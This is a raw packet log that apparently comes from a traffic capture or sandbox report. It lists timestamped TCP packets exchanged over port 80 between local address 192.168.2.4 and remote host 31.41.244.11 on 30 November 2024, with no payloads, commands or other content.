Nov 30, 2024 18:08:28.920869112 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.921663046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.921736002 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.921828032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.921871901 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.923031092 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.923093081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.923211098 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.923253059 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.923760891 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.923950911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.924010038 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.924832106 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.924891949 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.925034046 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.925085068 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.925867081 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.925926924 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.926064968 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.926110983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.926919937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.926978111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.927126884 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.927186966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.927989006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.928165913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.928220034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.929043055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.929081917 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.929243088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.929284096 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.930111885 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.930155993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.930301905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.930345058 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.931154013 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.931205034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.931356907 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.931402922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.932225943 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.932373047 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.932430983 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.933250904 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.933301926 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.933434963 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.933479071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.934324026 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.934374094 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:28.934504032 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:28.934540987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.080939054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.081043959 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.081108093 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.081229925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.081274033 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.081552982 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.081595898 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.082238913 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.082295895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.082439899 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.082493067 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.083340883 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.083389997 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.083481073 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.083626986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.084374905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.084422112 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.084579945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.084619999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.085297108 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.085344076 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.085479975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.086293936 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.086349964 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.086492062 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.086535931 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.087295055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.087344885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.087516069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.087559938 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.088304043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.088443995 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.088499069 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.088541985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.089297056 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.089365959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.089488029 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.089596987 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.090343952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.090394974 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.090527058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.090569973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.091348886 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.091401100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.091517925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.091589928 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.092349052 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.092396021 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.092510939 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.092636108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.093377113 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.093425989 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.093564987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.093609095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.094366074 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.094415903 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.094559908 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.094605923 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.095410109 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.095455885 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.095578909 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.095623016 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.096391916 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.096553087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.096559048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.096590996 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.097393036 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.097572088 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.097614050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.097685099 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.098402977 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.098447084 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.098603964 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.098692894 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.099405050 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.099597931 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.099638939 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.100543976 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.100733042 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.100785017 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.101449966 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.101491928 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.101593971 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.101635933 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.102454901 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.102497101 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.102639914 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.102677107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.103452921 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.103499889 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.103640079 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.103677034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.104545116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.104598045 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.104737043 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.104779005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.105503082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.105546951 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.105669975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.105779886 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.106484890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.106544018 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.106676102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.106753111 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.107486010 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.107536077 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.107707024 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.108592033 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.108645916 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.108699083 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.108747959 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.109529972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.109590054 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.109694004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.109740973 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.110527039 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.110570908 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.110698938 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.110743999 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.111574888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.111622095 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.111707926 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.111753941 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.112528086 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.112574100 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.112726927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.112772942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.113562107 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.113607883 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.113749981 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.113797903 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.114552975 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.114598036 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.114751101 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.114797115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.115740061 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.115788937 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.115926027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.115967989 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.116574049 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.116619110 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.116774082 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.116818905 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.117595911 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.117655993 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.117803097 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.117846966 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.118618965 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.118664026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.118788004 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.118834019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.119695902 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.119740963 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.120004892 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.120049000 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.120651960 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.120695114 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.120800018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.120843887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.121634960 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.121681929 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.121809006 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.121850014 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.122628927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.122674942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.122837067 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.122879028 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.123648882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.123694897 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.123852015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.123894930 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.124748945 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.124789953 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.125005007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.125046968 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.125674009 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.125715971 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.125900030 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.125950098 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.126677990 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.126724005 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.126909018 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.126954079 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.127859116 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.127902985 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.128025055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.128066063 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.128700972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.128746986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.128890038 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.128933907 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.129722118 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.129765034 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.129936934 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.129980087 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.130740881 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.130785942 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.130925894 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.130969048 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.131746054 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.131793976 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.131917000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.131961107 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.132790089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.132834911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.132925034 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.132966995 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.133737087 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.133779049 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.282444954 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.282644987 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.282685041 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.282895088 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.282939911 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.283291101 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.283334970 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.283860922 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.284082890 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.284135103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.284849882 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.284900904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.285063982 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.285105944 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.285880089 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.285917997 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.286066055 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.286637068 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.286891937 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.286988020 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.287085056 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.287674904 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.288017988 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.288203001 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.288242102 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.288918972 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.288961887 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.289098978 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.289139986 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.289902925 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.289963961 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.290106058 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.290153027 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.290920019 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.290977001 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.291132927 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.291176081 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.291950941 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.292121887 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.292179108 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.292931080 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.292979956 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.293123007 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.293165922 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.293953896 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.294085026 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.294147015 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.294186115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.294984102 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.295031071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.295176029 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.295242071 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.296013117 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.296256065 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.296305895 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.297014952 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.297079086 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.297199011 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.297240019 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.298089027 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.298135042 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.298290014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.298329115 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.299004078 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.299192905 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.299237013 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.300007105 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.300199986 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.300241947 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.301089048 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.301129103 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.301229000 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.301291943 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.302047014 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.302156925 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.302234888 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.302325010 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.303040981 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.303157091 CET	49805	80	192.168.2.4	31.41.244.11
Nov 30, 2024 18:08:29.303231955 CET	80	49805	31.41.244.11	192.168.2.4
Nov 30, 2024 18:08:29.303672075 CET	49805	80	192.168.2.4	31.41.244.11
